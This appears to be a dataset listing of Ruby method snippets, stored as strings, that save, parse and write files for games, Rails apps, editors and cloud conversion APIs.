"def save_to(path); end",
"def split_data_into_files(datafile)\n\n datafiles = []\n output = NIL\n File.open(Rails.root.join(datafile)) do |file| \n counter = 0\n something_was_written = FALSE\n while line = file.gets \n # parse lines and break into different files at #\n if( line.match( /^\\s*\\#+/ ) )\n if (something_was_written && output) \n output.close\n output = NIL\n end\n something_was_written = FALSE\n else \n if (!something_was_written) \n outputfile_name = datafile.gsub(/input/,\"input\" +\n counter.to_s)\n counter +=1\n output = File.open(Rails.root.join(outputfile_name), \"w\") \n datafiles.push((Rails.root.join(outputfile_name)).to_s)\n #datafiles.push( \"../\" + outputfile_name)\n #datafiles.push(Dir.getwd + \"/\" + outputfile_name)\n end\n # check if line matches @n_nodes digits\n nodes_minus_one = (@job.nodes - 1).to_s\n if (line.match( /^\\s*(\\.?\\d+\\.?\\d*\\s+){#{nodes_minus_one}}\\.?\\d+\\.?\\d*\\s*$/ ) ) \n output.puts line\n logger.info \"write line\" + line\n something_was_written = TRUE\n else\n @error_message = \"The data you entered is invalid. This :#{line.chop!}: is not a correct line.\"\n logger.warn \"Error: Input data not correct. This :#{line}: is not a correct line.\"\n return NIL\n end\n end\n end \n file.close\n if (output) \n output.close\n end\n end\n return datafiles\n end",
"def parse_and_save(file)\n save_file(\n transform_path(file),\n parse_template(file)\n )\n end",
"def process(input)\n open_io(output, overwrite ? 'w' : 'a') do |io|\n dump(input, io)\n end\n input\n end",
"def saveFile()\n\n #Prompt user for file\n print \"Enter the file name to save to (Press 'Enter' for default): \"\n answer = gets.chomp\n\n #fix filename\n if (answer == \"\")\n answer = DEFAULT_FILE\n elsif (!answer.include?(\".json\"))\n answer.concat(\".json\")\n end\n\n #Input is valid, try to open file for writing\n begin\n jFile = File.new(answer, \"w\") #'w' will clear file before writing\n if jFile\n # TASK LIST\n # This hashes the array into a map which is compatible\n # with JSON's generate\n taskList_hash = @taskList.map { |task| {\n name: task.getName, priority: task.getPriority,\n dueDate: task.getDue, description:\n task.getDescription, id: task.getId\n }}\n taskList_json = JSON.pretty_generate(taskList_hash)\n\n jFile << \"{ \\\"Lists\\\": \\n\"\n jFile << \"{ \\\"TaskList\\\": \\n\"\n jFile << taskList_json\n jFile << \",\\n\"\n\n #COMPLETED LIST\n completedList_hash = @completedList.map { |task| {\n name: task.getName, priority: task.getPriority,\n dueDate: task.getDue, description: task.getDescription,\n id: task.getId\n }}\n completedList_json = JSON.pretty_generate(completedList_hash)\n\n jFile << \"\\\"CompletedList\\\": \\n\"\n jFile << completedList_json\n jFile << \"\\n\"\n jFile << \"}\\n\"\n jFile << \"}\"\n\n jFile.close()\n else\n raise\n end\n rescue\n puts \"Could not open file '\" + answer + \"'...\"\n end\n end",
"def save\n file_name = ask_save_file\n save_file = File.open(file_name, 'w')\n save_file.puts(serialize)\n save_file.close\n puts \"Game has been saved to Save File #{file_name[-5]}!\"\n puts \"\\n\\n\"\n end",
"def save\n valid_file? and successful_conversion?\n end",
"def save_file(input_obj)\n\t$report_file.write(input_obj)\nend",
"def save!\n begin\n case filename\n when STDOUT_FLAG\n $stdout.write(contents)\n else\n ::File.open(@filename,\"w\") do |f|\n f.write(contents)\n end\n end\n @dirty = false\n rescue => e\n raise FileAccessError, \"Error saving file #{@filename} : #{e.message}\"\n end\n end",
"def save_output(data)\n ::File.open(datastore['OUTFILE'], 'wb') do |f|\n f.write(data)\n print_status(\"Saved results in #{datastore['OUTFILE']}\")\n end\n end",
"def save_output(data)\n ::File.open(datastore['OUTFILE'], 'wb') do |f|\n f.write(data)\n print_status(\"Saved results in #{datastore['OUTFILE']}\")\n end\n end",
"def save\n\t\t# Ask the user for a file.\n\t\t# Defaults to current file.\n\t\tans = $screen.ask(\"save to: \",[@filename],true,true)\n\t\tif ans == nil\n\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\treturn\n\t\tend\n\t\tif ans == \"\" then ans = @filename end\n\t\tif ans == \"\"\n\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\treturn\n\t\tend\n\t\t# If name is different from current file name,\n\t\t# ask for verification.\n\t\tif ans != @filename\n\t\t\tyn = $screen.ask_yesno(\"save to different file: \"+ans+\" ? [y/n]\")\n\t\t\tif yn == \"yes\"\n\t\t\t\t@filename = ans\n\t\t\t\tset_filetype(@filename)\n\t\t\telse\n\t\t\t\t$screen.write_message(\"aborted\")\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\t# Dump the text to the file.\n\t\tFile.open(@filename,\"w\"){|file|\n\t\t\ttext = @text.join(@eol)\n\t\t\tfile.write(text)\n\t\t}\n\t\t# Let the undo/redo history know that we have saved,\n\t\t# for revert-to-saved purposes.\n\t\t@buffer_history.save\n\t\t# Save the command/search histories.\n\t\tif $hist_file != nil\n\t\t\t$buffers.save_hists\n\t\tend\n\t\t$screen.write_message(\"saved to: \"+@filename)\n\tend",
"def write\n case parser_name\n when \"d3mpq_stringlist\"\n write_stringlist\n when \"d3mpq_recipe\"\n write_recipe\n when \"d3mpq_coredata_gamebalance_setitembonuses\"\n @field = nil\n write_recipe\n when \"d3mpq_attributes\"\n write_single_file(\"analyze\")\n when \"d3mpq_coredata_actor\"\n write_single_file(\"analyze\")\n else\n write_game_balance\n end\n end",
"def save\n check\n\n t = Tempfile.new(\"tmp\")\n t.write \"[req]\\n\"\n t.write \"distinguished_name = req_distinguished_name\\n\"\n t.write \"prompt = no\\n\"\n t.write \"\\n\"\n t.write \"[req_distinguished_name]\\n\"\n t.write \"C = #{@csr_data[:country]}\\n\"\n t.write \"ST = #{@csr_data[:state]}\\n\"\n t.write \"L = #{@csr_data[:location]}\\n\"\n t.write \"O = #{@csr_data[:org]}\\n\"\n if @csr_data[:org_unit] and @csr_data[:org_unit] != \"\"\n t.write \"OU = #{@csr_data[:org_unit]}\\n\"\n end\n t.write \"CN = #{@csr_data[:domain]}\\n\"\n if @csr_data[:email] and @csr_data[:email] != \"\"\n t.write \"emailAddress = #{@csr_data[:email]}\\n\"\n end\n t.close\n\n return t.path\n end",
"def parser\n user_input = STDIN.gets.chomp\n begin\n if File.exist?(user_input.gsub(\"\\n\",''))\n file = File.read(user_input.gsub(\"\\n\",''))\n data_hash = JSON.parse(file)\n else\n data_hash = JSON.parse(user_input)\n end\n return data_hash\n rescue JSON::ParserError\n puts \"Unable to parse file or manual inputed inventory. Please try again.\"\n parser\n end\nend",
"def save_file\n if platinum_user_and_above?\n uid = current_user.id\n data_dir = Rails.root.join('shared','data')\n @file = data_dir.join('domains')\n file = File.open(@file, 'r')\n @restore = ''\n file.each_line { |line| @restore += line }\n file.close\n file = File.open(@file, 'w+')\n file.write(params[:file_content])\n file.close\n domain_table_reload(uid,data_dir.to_s)\n render json: { message: 'Saving successful.' }\n else\n render json: { message: 'Saving failed, please check your file again.' }\n end\n rescue Psych::SyntaxError\n file = File.open(@file, 'w+')\n file.write(@restore)\n file.close\n render json: { message: 'Saving failed, please check your file again.' }\n end",
"def save path\n if File.exists?(path)\n puts \"#{path} already exists! Overwrite? y/n\"\n answer = gets\n unless answer == 'n' or answer == 'N'\n File.open(path, 'w') do |file|\n file.write(to_s)\n end\n end\n end\n end",
"def save_submission\n \tfile_extensions = { 'c++' => '.cpp', 'java' => '.java', 'python' => '.py', 'c' => '.cc' }\n \tsubmission_id = self[:_id]\n \tuser = self.user\n \temail = user[:email]\n \tproblem = self.problem\n \tpcode = problem[:pcode]\n \tcontest = problem.contest\n \tccode = contest[:ccode]\n \tlanguage = self.language\n \tlangcode = language[:langcode]\n \tsystem 'mkdir', '-p', \"#{CONFIG[:base_path]}/#{email}/#{ccode}/#{pcode}/#{submission_id}\"\n if langcode == 'java'\n input = File.open(\"#{CONFIG[:base_path]}/#{email}/#{ccode}/#{pcode}/#{submission_id}/Main#{file_extensions[langcode]}\", 'w')\n else\n \tinput = File.open(\"#{CONFIG[:base_path]}/#{email}/#{ccode}/#{pcode}/#{submission_id}/user_source_code#{file_extensions[langcode]}\", 'w')\n end\n \tinput.write(self[:user_source_code])\n \tinput.close\n problem.test_cases.each do |test_case|\n system 'mkdir', '-p', \"#{CONFIG[:base_path]}/#{email}/#{ccode}/#{pcode}/#{submission_id}/#{test_case[:name]}\"\n end\n \treturn true\n end",
"def save_game(game)\n print \"Enter a new filename to save game in: \"\n filename = gets.chomp\n File.open(filename, \"w\") {|f| f.puts game.to_yaml}\nend",
"def save!\n path = File.join(basedir, computed_filename)\n Rails.logger.info \"Saved GPX file as #{path}\"\n file = File.new(path, 'wb')\n file.write contents\n file.close\n file\n end",
"def save! path\n File.open(path, 'w') do |file|\n file.write(to_s)\n end\n end",
"def fin; false; end",
"def save_game\n #yaml = YAML::dump(self)\n puts \"Please enter a filename for the saved game.\"\n save_file_name = gets.chomp.downcase\n save_file = File.write(\"saved_games/#{save_file_name}.yaml\", self.to_yaml)\n #save_file.write(yaml)\n puts \"Your game has been saved!\"\n puts \"Goodbye!\"\n end",
"def cmd_save argv\n setup argv\n e = @hash['elements']\n filepath = @hash['filepath'] || \"config.json\"\n response = @api.save(e, filepath)\n msg response\n return response\n end",
"def test_to_file\n @parser.text_line :comment, :match => /^#/\n @parser.text_line :blank, :match => /^\\s*$/\n @parser.record_line :record, :fields => %w{name one two}\n\n text = \"# This is a comment\n\njohnny one two\nbilly three four\\n\"\n\n# Just parse and generate, to make sure it's isomorphic.\nassert_nothing_raised do\n assert_equal(text, @parser.to_file(@parser.parse(text)),\n \"parsing was not isomorphic\")\n end\n end",
"def save(idea)\n print \"File encoded. Please enter a name for this idea: \"\n idea_name = $stdin.gets.strip\n File::open( \"idea-\" + idea_name + \".md\", \"w\" ) do |f|\n f << idea\n end\n end",
"def save\n puts \"Would you like to save your progress? (y/n)\"\n puts \"\"\n response = gets.strip.downcase\n puts \"\"\n if response == \"y\"\n File.open(\"saves.yaml\", \"w\") do |file|\n file.puts YAML::dump(@computer)\n end\n puts \"Your game has been saved!\"\n puts \"\"\n else\n puts \"Lets just keep playing then!\"\n puts \"\"\n end\n end",
"def parse(file)\n puts \"Not yet implemented\"\nend",
"def parse_input(input)\n begin\n\n parsed = input.scan(/\\A([fr])\\((\\d),(\\d)\\)\\z/)\n if parsed.empty? && input.downcase != \"save\"\n raise \"Invalid input\"\n end\n \n rescue\n puts \"Sorry, invalid format. Please try again with format: \\'r(2,3)\\'\"\n retry\n end\n \n parsed.flatten\n \n end",
"def save\n File.open(SaveLocation, 'w') do |file|\n file.puts @value.join(\"\")\n file.puts @progress.join(\"\")\n file.puts @bad_guesses.join(\"\")\n end\n end",
"def save(directory, comment_type = :none)\n if !rules.empty?\n File.open(directory + filename, 'w') {|f| f.puts self.to_xml(comment_type)}\n else\n puts \"No rules for #{name}\"\n end\n end",
"def save!\n raise Informative, 'This XCScheme object was not initialized ' \\\n 'using a file path. Use save_as instead.' unless @file_path\n File.open(@file_path, 'w') do |f|\n f.write(to_s)\n end\n end",
"def set_savefile_name\n puts \"Please provide a filename for your savefile!\"\n @filename = STDIN.gets.chomp\n save_student(@filename + \".csv\")\nend",
"def save!\n if save\n self\n else\n raise FileNotSaved\n end\n end",
"def parse(input_fn,debug = 0)\n \n input_file = File.open(input_fn);\n doc = Nokogiri::HTML.parse(input_file)\n input_file.close();\n\n if (debug == 0) then output_fn = @output_dir+'/txt/'+File.basename(input_fn,\".*\")+'.txt';\n else output_fn = File.basename(input_fn,\".*\")+'_debug.xml';\n end\n\n of = File.open(output_fn,\"w\");\n\n # determine version\n version = -1\n\n ts = DateTime.parse(File.basename(input_fn,\".*\").split('_')[0]);\n\n if (ts.year == 2020) then\n if (ts.month == 3) then\n if (ts.day >= 24) then version = 3\n elsif (ts.day >= 19) then version = 1\n elsif (ts.day >= 18) then version = 2\n else\n printf(\" ERROR: data before Mar 18 have to be processed manually\\n\");\n end\n elsif (ts.month > 3) then # 2020-03-23: so far, use version 1\n version = 1\n elsif (ts.month < 3) then\n printf(\" ERROR: USA by-state data before Mar 2020 have to be processed manually\\n\");\n end\n end\n\n if (version == 1) then parse_v1(doc,of,version,debug)\n elsif (version == 2) then parse_v2(doc,of,version,debug)\n elsif (version == 3) then parse_v1(doc,of,version,debug)\n end\n\n of.close();\n end",
"def save(output_path=nil)\n to_output_path(output_path)\n run_command(@command,*@args << @input)\n @info = FlashTool.flash_info(@output_path)\n end",
"def save_output\n\n end",
"def save_student(filename)\n File.open(filename, \"w\") do |file|\n @students.each do |student|\n parse_to_save_file(student, file)\n puts \"File saved!\"\n interactive_menu\n end\n end\nend",
"def store\n\n File.open(@sopm_file, 'w') { |file|\n file.write( @sopm.to_xml )\n }\n\n parse\n end",
"def save_custom_file(custom)\r\n # Save the result to custom file\r\n @custom.save_custom(custom)\r\n # In case the wrting file process failed, inform user\r\n rescue StandardError, IOError\r\n puts 'Oops, some thing wrong with the saving process.'\r\n end",
"def convert(localFile,saveFormat)\n begin\n if(@name == '')\n raise \"Base file is not specified\"\n end \n urlDoc = $productURI + '/cells/' + @name + '?format=' + saveFormat\n\t\t signedURL = Common::Utils.sign(urlDoc)\n\t\t response = RestClient.get(signedURL, :accept => 'application/json')\n validateOutput = Common::Utils.validate_output(response)\n if(validateOutput!=nil || validateOutput!=\"\")\n output = $OutPutLocation + localFile + \".\" + saveFormat\n Common::Utils.saveFile(response, output)\n return output\n else\n return validateOutput\n end\n rescue Exception=>e\n print e\n end\n end",
"def parse(args)\n #add the possible arguments to the argument parser\n\topt_parser = OptionParser.new do |opts|\n\t\topts.banner = \"Usage: Scanner.rb [options] file [files...]\"\n\t\topts.on(\"-s [FILE]\", \"--save [FILE]\", \"Saves to file [FILE]\") do |file|\n\t\t\t$save2File = true\n\t\t\t$file = File.new(Pathname.new(file).realpath, \"w+\")\n\t\tend\n opts.on(\"-x [FILE]\", \"--xml [FILE]\", \"Saves to XML file [FILE]\") do |file|\n $save2XML = true\n $xmlFile = File.new(Pathname.new(file).realpath, \"w+\")\n end\n\t\topts.on(\"-q\", \"--quiet\", \"Do not show output on console\") do\n\t\t\t$quiet = true\n\t\tend\n opts.on(\"-v\", \"--verbose\", \"Show additional output on the console, overwrites quiet\") do\n $verbose = true\n end\n\tend\n\t#start the parsing of the arguments\n\topt_parser.parse!(args)\nend",
"def save_to(filepath)\n File.open(filepath, \"w\") do |fp|\n if @args[:data].is_a?(StringIO)\n fp.write(@args[:data].string)\n else\n #Stream output to avoid using too much memory.\n self.io do |fp_read|\n fp_read.lines do |line|\n fp.write(line)\n end\n end\n end\n end\n end",
"def parse(input, file_path)\n file_path ||= \"No file path provided to #{self.class}#convert\"\n RubyParser.new.parse(input, file_path)\n end",
"def parse_problem(url, id, cwd)\n\thtml_doc = open(url).read\t\n\ttitle = html_doc.scan(TITLEP)[0][0]\n\tinput = html_doc.scan(INP).map { |input| input.join.gsub(SPLITER, \"\\n\") }\n\toutput = html_doc.scan(OUTP).map { |output| output.join.gsub(SPLITER, \"\\n\") }\n\tcases = input.size\t\t\n\n\tcases.times do |i|\n\t\tsave(cwd + '/' + id + \"_\" + i.to_s + \".in\", input[i])\n\t\tsave(cwd + '/' + id + \"_\" + i.to_s + \".out\", output[i])\n\tend\n\n\tputs \"Problem '#{title}' is succesfully downloaded\"\nend",
"def create\n @input = Input.new(input_params)\n\n respond_to do |format|\n if @input.save\n @file = @input.input_file.download\n data = CSV.parse(@file, headers: true)\n # TODO S in SOLID\n coords_ary = []\n data.each do |i|\n # iterate each row (address), call geolocate api for each\n # to get lat-lon coords\n i = i.to_h\n zip = i[\"Zipcode\"]\n addr = i[\"Address\"]\n town = i[\"Town\"]\n state = i[\"State\"]\n # POST or GET\n response = RestClient.get \"https://app.geocodeapi.io/api/v1/search?apikey=#{ENV['GEOLOCATION_KEY']}&text=#{addr},#{town},#{state},#{zip},United States\"\n parsed = JSON.parse(response)\n coords = parsed[\"features\"][0][\"geometry\"][\"coordinates\"].reverse\n puts \"coordinates for #{addr}, #{town} #{state}, #{zip}\"\n puts coords\n coords_ary << coords\n File.write('response.json', parsed)\n end\n osrm_api(coords_ary)\n format.html { redirect_to @input, notice: 'Input was successfully created.' }\n format.json { render :show, status: :created, location: @input }\n else\n format.html { render :new }\n format.json { render json: @input.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_game\n file_name = input_save_name\n begin\n Dir.mkdir('saves') unless Dir.exist?('saves')\n save_file = File.new(file_name, 'w')\n save_file.puts generate_save\n save_file.close\n puts 'Game saved!'\n rescue IOError\n puts 'Save failed'\n end\n end",
"def save filename = nil\n filename = find_free_name filename\n save! filename\n end",
"def save(filename, data)\n\tf = File.open(filename, 'w')\n\tf.puts(data)\n\tf.close\nend",
"def save\n import\n errors.none?\n end",
"def save! filename = nil\n filename ||= @filename\n dirname = File.dirname filename\n FileUtils.mkdir_p dirname\n\n ::File.open(filename, 'wb')do |io|\n until @body_io.eof? do\n io.write @body_io.read 16384\n end\n end\n\n filename\n end",
"def write_input_file\n File.open(@run_name + \".trin\", 'w'){|file| file.puts input_file_text}\n end",
"def run_it\n run_through_directory\n file_array_parser\n remove_initial_and_format_change\n array_to_hash\n final_name_info\n create_goal_file\nend",
"def processInput(tweet, input)\n if input == 'done' then return false end\n if input == 'skip' then return true end\n grade = input.to_i\n if grade < 1 || grade > 10\n puts \"You must enter a number between 1 and 10. Moving to next tweet.\"\n return true\n else\n File.open(@@training_data_filename, 'a') do |file|\n file.write(@@format_before_tweet + tweet + @@format_before_rating + grade + @@format_after_rating)\n end\n end\n\n end",
"def save(upload)\n uploadFile = upload['datafile']\n originalName = uploadFile.original_filename\n self.fileType = File.extname(originalName)\n\n create_or_update()\n\n # write the file\n File.open(self.filePath, \"wb\") { |f| f.write(uploadFile.read) }\n \n # write ID3 metadata to database, to avoid the expense of fetching\n # from the file every time - quite costly as more files are displayed at a time\n begin\n musicFile = TagLib::File.new(self.filePath())\n self.id3Title = musicFile.title\n self.id3Artist = musicFile.artist\n self.id3Length = musicFile.length\n rescue TagLib::BadFile => exc\n logger.error(\"Failed to id track: \\n #{exc}\")\n end\n\n if(self.fileType == '.mp3')\n convertToOGG();\n end\n create_or_update()\n\n end",
"def parse(input = nil, options = 0)\n end",
"def save\n return if @filename.nil?\n FileUtils.mkdir_p File.dirname(@filename)\n Utils.atomic_write(@filename) { |f| f.write(JSON.generate(@data)) }\n end",
"def save_game\n\t\tputs \"Type a name for your saved game\"\n\t\tgame_name = gets.chomp\n\t\tfilename = \"#{game_name}.txt\"\n\n\t\t ex_file = File.expand_path(\"./saved_games/#{filename}\")\n\t\t \n\t\tif File.exists?(ex_file)\n\t puts \"#{filename} exists\" #overwrite method?\n\t \n\t self.save_game\n\t else\n\t\t\tFile.open(ex_file, \"w\") do |f|\n\n\t\t\t\tf.puts YAML::dump(game_state)\n\n\t\t\t\tputs \"Your game was saved as #{filename}\" \n\t\t\tend\n\t\tend\n\tend",
"def save(ruleset=nil)\n if ruleset\n ruleset = getruleset(ruleset)\n refresh(ruleset)\n saved[ruleset.name.to_s] = current[ruleset.name.to_s]\n else\n refresh\n saved = current\n end\n\n dir = File.dirname(filename)\n FileUtils.mkdir_p(dir) unless File.directory?(dir)\n File.open(filename, 'w') do |f|\n f << to_s\n end\n end",
"def save_to(path)\n unless File.exists?(File.dirname(path))\n raise ArgumentError, \"Output path does not exist!\"\n end\n if File.directory?(path)\n raise ArgumentError, \"Output path should be a file!\"\n end\n File.open(path, 'w') { |f| f.write(@content) }\n end",
"def save_file\n raise ArgumentError, 'Need a Path to save the file' if @path.nil?\n File.open(@path, 'w') do |f|\n f.write to_s\n end\n end",
"def parse; end",
"def parse; end",
"def parse; end",
"def store\n\n File.open(@szpm_file, 'w') { |file|\n file.write( JSON.pretty_generate(@structure) )\n }\n\n parse\n end",
"def save\nputs \"Which file would you like to save to? save.txt?\"\nfile_name = $stdin.gets.chomp\ntxt_save = open(file_name, 'w')\n\n#Order of saved items\n#@user_name\n#@coin \n#@health \n#@Max_Health\n#@inventory[:Sword]\n#@inventory[:Helm]\n#@inventory[:Breast_Plate]\n#3-Store-items\n#2-Customer-items\n\ntxt_save.write(@user_name)\ntxt_save.write(\"\\n\")\ntxt_save.write(@coin)\ntxt_save.write(\"\\n\")\ntxt_save.write(@health)\ntxt_save.write(\"\\n\")\ntxt_save.write(@Max_Health)\ntxt_save.write(\"\\n\")\ntxt_save.write(@inventory[:Sword])\ntxt_save.write(\"\\n\")\ntxt_save.write(@inventory[:Helm])\ntxt_save.write(\"\\n\")\ntxt_save.write(@inventory[:Breast_Plate])\ntxt_save.write(\"\\n\")\ntxt_save.write(@herb_store.store_amount)\ntxt_save.write(\"\\n\")\ntxt_save.write(@floret_store.store_amount)\ntxt_save.write(\"\\n\")\ntxt_save.write(@item_upgrade_store.store_amount)\ntxt_save.write(\"\\n\")\ntxt_save.write(@herb_customer.customer_amount)\ntxt_save.write(\"\\n\")\ntxt_save.write(@floret_customer.customer_amount)\ntxt_save.write(\"\\n\")\ntxt_save.write(@a)\ntxt_save.write(\"\\n\")\ntxt_save.write(@b)\ntxt_save.write(\"\\n\")\ntxt_save.write(@c)\ntxt_save.write(\"\\n\")\ntxt_save.write(@d)\ntxt_save.write(\"\\n\")\ntxt_save.write(@e)\n\n#it is import to close files after they are opened\ntxt_save.close()\nend",
"def parse_file(filename); end",
"def save\n if file\n # Ensure the current store has been loaded before we try to re-write it, this\n # is necessary if the program generator has crashed before creating a test\n store\n p = Pathname.new(file)\n FileUtils.mkdir_p(p.dirname)\n File.open(p, 'w') { |f| f.puts JSON.pretty_generate(store) }\n end\n end",
"def save\n # Build a String of SQL, that will insert all the attributes into the persons table\n\n<<<<<<< HEAD\n someone = Person.create_person(input)\n\n # Append this to yaml file\n # @directory << someone.to_yaml\n # puts @directory\n\n @directory << someone\n \n\n\n case input\n\n when 'l'\n #pull in existing people from the YAML file\n @directory += YAML.load_documents(File.open('student_directory.yml'))\n end\n print \"Enter Student or Instructor, q to save and quit: \"\n\n # Open a student_directory.yml YAML file and write it out on one line a appends vs overwrites\n File.open('student_directory.yml', 'a') do |f| \n @directory.compact.each do |person|\n f.write(person.to_yaml)\n end\n end\nend",
"def main\n aFile = File.new(\"mydata.txt\", \"w\") # open for writing\n if aFile # if nil this test will be false\n print \"Enter a number: \"\n number = gets.chomp.to_i\n write(aFile, number)\n else\n puts \"Unable to open file to write!\"\n end\n aFile.close\n\n aFile = File.new(\"mydata.txt\", \"r\") # open for reading\n if aFile\n read(aFile)\n end\n aFile.close\nend",
"def convert_local_file input_file,output_filename,output_format\n begin\n \n if input_file == \"\"\n raise(\"input file not specified\")\n end \n \n if output_filename == \"\"\n raise(\"output file not specified\")\n end\n \n if output_format == \"\"\n raise(\"output format not specified\")\n end\n \n str_uri = $productURI + \"/words/convert?format=\" + output_format\n str_signed_uri = Common::Utils.sign(str_uri)\n \n response_stream = Common::Utils.uploadFileBinary(input_file, str_signed_uri) \n \n valid_output = Common::Utils.validate_output(response_stream)\n \n if valid_output == \"\"\n \n if output_format == \"html\"\n saveformat = \"zip\"\n else\n saveformat = output_format\n end\n \n if output_filename == \"\"\n output_filename = Utils::get_filename(input_file) + \".\" + saveformat\n end\n \n output_path = $OutPutLocation + output_filename\n Common::Utils.saveFile(response_stream,output_path)\n return \"\"\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end",
"def write_input_file\n File.open(\"parameters\", 'w'){|file| file.puts input_file_text}\n end",
"def create_new_file\n puts \"CREATE NEW FILE\"\n # user has chosen to load a new file, but first it will see if any saved file exists\n\n begin\n # this checks if there is already a profile, and will ask for further options if there is\n JSON.load_file('./data/user_data.json', symbolize_names: true)\n\n confirm =\n [\n \"That's fine, start a new profile\",\n 'Actually, let me choose again'\n ]\n\n confirmation = @prompt.select('Choosing New means if you save your file, it will overwrite the old one!', confirm)\n\n case confirmation\n \n when confirm[0]\n raise # will thus intentially fail the parsing from user_data and create new file\n\n when confirm[1]\n upload_data_from_file() # if user wants to choose again, then will run that method again\n end\n\n rescue # if there is no file user_data to run through, will rescut to here\n\n parse_json_file('./data/default_data.json')\n # will parse the data and run a method to upload (attribute) the data in manageable format\n attribute_data_from_parsed_file()\n\n end\n\n end",
"def save_as output_path,output_format , storage_type='Aspose',folder_name='',storage_name=''\n begin\n \n if @filename == ''\n raise('input file not specified')\n end \n \n if output_path == ''\n raise('output path not specified')\n end\n \n if output_format == ''\n raise('output format not specified')\n end\n \n # if not File.exist?(inputFile)\n # raise('input file doesn't exist.')\n # end\n \n \n \n str_uri = $product_uri + '/slides/'+@filename+'?format=' + output_format\n if !folder_name.empty?\n str_uri += '?folder=' + folder_name\n end\n if !storage_name.empty?\n str_uri += '&storage=' + storage_name\n end\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n response_stream = RestClient.get(str_signed_uri,{:accept=>'application/json'})\n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n if valid_output == '' \n output_path = output_path + Aspose::Cloud::Common::Utils.get_filename(@filename) + '.' + output_format\n Aspose::Cloud::Common::Utils.save_file(response_stream,output_path)\n return ''\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end",
"def form_file\n raise URI::InvalidURIError, 'No URI or invalid URI supplied.' if @uri.nil? || @uri.to_s.length <= 0 \n raise URI::InvalidURIError, \"Invalid URI: #{@uri} supplied.\" unless @uri.kind_of? URI::HTTP or @uri.kind_of? URI::HTTPS\n\n # raise Gerridae::MissingContentError, 'No content available.' if @content.nil? || @content.length?\n # @todo Convert URI implementation to using URI::Generic.build\n\n filename = Helpers.create_filename(@uri)\n outfile = File.expand_path( \"../../out/\" + filename, __FILE__ )\n @file = filename\n\n # Ensures there are no files created with precisely the same tags.\n # Helpers.rename_duplicate(parameter)\n dupcount = 0\n loop do \n dupcount += 1\n break unless File.exist?(outfile + dupcount.to_s) \n end\n\n outfile = outfile + dupcount.to_s if dupcount > 0\n\n File.new(outfile, \"a\") \n\n File.open(outfile, \"w\") do |file|\n file.write @content\n end\n\n \n # @todo Encapsulate within try rescue block.\n # @todo Return nil if file write fails?\n filename\n end",
"def error\n raise StandardError, 'Error parsing input'\n end",
"def handle_input(data)\n puts 'New file received'\n unless data.key? 'uid'\n puts 'File without UID found, skipping'\n return\n end\n\n wonkofile_fn = wonkofile_filename data['uid']\n version_filename = wonkoversion_filename data['uid'], data['version']\n\n if data.key? 'name'\n puts ' Found \\'name\\' key in received file, assuming WonkoFile'\n\n if File.exists? wonkofile_fn\n write_json_file wonkofile_fn, wonkofile_merge(read_json_file(wonkofile_fn), data)\n else\n write_json_file wonkofile_fn, data\n end\n else\n puts ' No \\'name\\' key found in received file, assuming WonkoVersion'\n\n # write the version\n FileUtils.mkdir_p File.dirname version_filename\n write_json_file version_filename, data\n\n # add the version to the version index\n wfile = File.exists?(wonkofile_fn) ? read_json_file(wonkofile_fn) : wonkofile_stub_from_wonkoversion(data)\n wfile = wonkofile_add_version wfile, data\n write_json_file wonkofile_fn, wfile\n end\nend",
"def save_data(name, score)\n prompt = TTY::Prompt.new\n save_output = prompt.select(\"Would you like to submit your score to ranking board?\", [\"Yes\", \"No\"])\n if save_output == \"Yes\"\n # test ID 16\n begin\n File.write('./files/ranking.txt', \"#{name}, #{score}\\n\", File.size('./files/ranking.txt'), mode: 'a')\n rescue\n loading_spinner(2, \"Error loading file. Your score could not be added.\")\n else\n loading_spinner(2, \"Your score has been successfully submitted.\")\n end\n elsif save_output == \"no\"\n puts \"alright. navigating you back to menu...\"\n hold_and_clear_terminal(0.7)\n end\n end",
"def save\n \tdata = self\n \t\n \tFile.open('store.yml','w') do |f|\n \t\tf.write(data.to_yaml)\n \tend\n \tputs data\n \tputs \"Saved!\"\n \tputs \"\"\n end",
"def saveOutput\r\n tmpFile = \"#{@responseDir}/#{@fileName}.response\"\r\n if File.exists?(tmpFile)\r\n File.delete(tmpFile)\r\n end\r\n \r\n file = File.open(tmpFile, \"w\")\r\n file.write printXml\r\n file.close\r\n \r\n lstFile = \"listfile.txt\"\r\n if File.exists? lstFile\r\n File.delete(lstFile)\r\n end\r\n \r\n file = File.open(lstFile, \"w\")\r\n file.write tmpFile\r\n file.close\r\n end",
"def write_to_json(raw_input, create_filename)\n input_hash = raw_input.split(\"\\n\").map do |line|\n string = line.split(\" \")\n {\"required\" => string[0], \"character\" => string[1].gsub(':', ''), \"password\" => string[2]}\n end\n File.open(\"#{create_filename}\", \"w\") do |f| \n f.write(JSON.pretty_generate(input_hash))\n end\nend",
"def process(input_string)\n return nil unless input_string\n name, namespace =\n if File.exist?(input_string)\n copy_schema_to_store(input_string)\n elsif schema?(input_string)\n save_schema(input_string)\n else\n separate_fullname(input_string)\n end\n @schema_store.find(name, namespace)\n end",
"def save\n File.open(@path, \"w\") do |f|\n f.write(JSON.pretty_generate(\n \"version\" => VERSION,\n \"reqs\" => reqs,\n ))\n end\n end",
"def save_to_file\n File.open(@output, 'w+') do |file|\n file.puts HEADER if @additional_html\n file.puts @data_for_output.join(\"\\n\")\n file.puts FOOTER if @additional_html\n end\n end",
"def to_disk(str)\n file = File.open(@output, \"w\")\n file.puts str\n file.flush\n file.close\n\n puts \"Saved result to #{File.expand_path(@output)}.\"\n end",
